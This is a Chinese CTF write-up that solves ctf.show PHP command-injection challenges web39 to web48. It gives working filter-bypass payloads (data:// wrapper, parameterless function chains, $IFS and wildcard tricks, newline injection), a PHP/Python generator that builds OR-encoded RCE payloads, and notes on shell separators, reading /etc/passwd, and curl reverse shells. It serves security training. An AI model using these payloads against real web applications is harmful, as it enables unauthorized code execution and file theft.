目錄
-
- web39
- web40
- web41
- web42
- web43
- web44
- web45
- web46
- web47
- web48
web39
解答: 不能帶有flag,可以用僞協定
data://text/plain
,
payload:
data://text/plain,<?php system("cat f*");?>
頁面是空白,要看源碼。
使用data僞協定,執行了輸入的php語句,因為
.php
前面的php語句已經閉合了,是以後面的
.php
會被當成html頁面直接顯示在頁面上。

web40
解答: 過濾了很多,但是下面是直接eval執行,可以直接函數執行,過濾了引号等内容,但是其中的括号過濾的是中文全角的
(``)
,而非半角,是以還是可以使用括号的,那麼可以考慮用無參數函數。
(上一篇的web31裡提供了無參數函數的知識點連結)
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
題中還給了另一個解法,使用session:輸入
?c=session_start();system(session_id());
session_start() :啟動新會話或者重用現有會話
session_id() :擷取/設定目前會話 ID
修改PHPSESSID值即可。
web41
解答: 過濾了數字和字母,以及
$、+、-、^、~
使得異或自增和取反構造字元都無法使用,但是沒有過濾或運算符
|
。
以下腳本來源:csdn部落客yu22x
先php的生成一個rce_or.txt,内容是ascii為0-255對應字元如何通過或運算擷取。(eg:
?=%14|%3f
)
#從進行異或的字元中排除掉被過濾的,然後在判斷異或得到的字元是否為可見字元
<?php
$myfile = fopen("rce_or.txt", "w"); //打開要寫入的檔案
$contents="";
for ($i=0; $i < 256; $i++) { //ascii碼256個字元
for ($j=0; $j <256 ; $j++) {
if($i<16){//ascii的前16個字元的十六進制應該是01,02,是以在字首加‘0’
$hex_i='0'.dechex($i); //dechex(十進制轉換成十六進制)
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; //這裡是可以根據題目修改的正則比對條件
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){//如果内容比對上了就輸出為空
echo "";
}
else{//對其加上%,轉換成url編碼
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));//對兩者進行異或
if (ord($c)>=32&ord($c)<=126) {//将異或的結果是可見字元的存入contents中
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);?>
python腳本:指令行輸入,python 檔案名.py url位址
import requests
import urllib
from sys import *
#os.system("php or_getfun.php") #沒有将php寫入環境變量的需手動運作
if(len(argv)!=2)#未傳夠2個參數的,會給提示
print("="*50)
print('USER:python exp.py http://65d9abec-9d41-453d-b48d-bf60ef9fe78c.chall.ctf.show/')
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()#逐行讀取檔案
if t=="":#讀到空,即讀完跳出循環
break
if t[0]==i:
#print(i)
s1+=t[2:5]#提取第一個字元串,具體可以看上面我的截圖,如第一行的%00
s2+=t[6:9]#提取第二個字元串
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)#post傳遞,若是get就get傳遞
print("\n[*] result:\n"+r.text)
web42
解答: 通過換行符,把後面移動到下面。
?c=cat flag.php%0a
web43
解答:
?c=nl flag.php%0a
還是和上面的一樣的代碼,隻是過濾cat和分号,那麼換其他的讀取指令即可。其實也可以使用反斜杠
\
繞過,因為它過濾的是連續字元串
cat
。
nl
:将指定的檔案添加行号标注後寫到标準輸出。
web44
解答: 過濾了flag,使用通配符
*
繞過。
?c=nl fl*%0a
web45
解答: 增加的空格過濾,繞過即可。具體的繞過的一些方法在上一篇的web31寫了,就不再多寫。
?c=nl$IFS$1fl*%0a
或者:
echo$IFS`tac$IFS*`%0A
web46
解答:過濾了
*
沒有辦法通配符繞過,那麼字元繞過還可以使用單引号(成對)、雙引号(成對)、反斜杠和斜杠、$@、可變擴充(
?
)。
反斜杠繞過:
/?c=ca\t<>fla\g.php%0a
或者
nl<fla''g.php||
,使用的是成對的單引号,
||
是利用連接配接符解決後面的
>/del/null 2>&1
。
連接配接符:
; 前面的執行完執行後面的 ping 127.0.0.1;whoami
| 管道符,顯示後面的執行結果 ping 127.0.0.1|whoami
|| 目前面的執行出錯時執行後面的 ping 1||whoami
& 前面的語句為假則直接執行後面的,前面可真可假 ping 127.0.0.1&whoami
&& 前面的語句為假則直接出錯,後面的也不執行,前面隻能為真 ping
web47
解答: 隻是增加了幾個讀取指令的過濾,是以上題payload可以繼續用。
web48
解答:上題payload繼續用
在這裡可以把代碼後續的這幾個指令簡單介紹一下。
more、less、head、tail經常被用來在cat被過濾時繞過使用。
linux指令手冊
more:分頁顯示指定的文本檔案内容,從前向後浏覽檔案内容。
less:用于分頁顯示檔案内容。不僅能從前向後,還可以從後向前浏覽檔案内容。
head:顯示檔案開頭的内容,預設為前10行。
sort:對檔案内容進行排序
tail:檢視檔案尾部内容,預設為後10行。
sed:利用文法/腳本對文本檔案進行批量的編輯操作
cut:用于按列提取檔案内容(如以冒号為間隔符,僅提取指定檔案中第一列的内容:cut -d : -f 1 /etc/passwd)
awk:對文本和資料進行處理的程式設計語言
strings:在對象檔案或二進制檔案中查找可列印的字元串。(常用于查找檔案中的flag:strings 檔案名|grep "flag")
od:讀取所給予的檔案的内容,并将其内容以八進制字碼呈現出來。
curl:在Shell終端界面中基于URL規則進行的檔案傳輸工作,可以利用此指令實作反彈shell。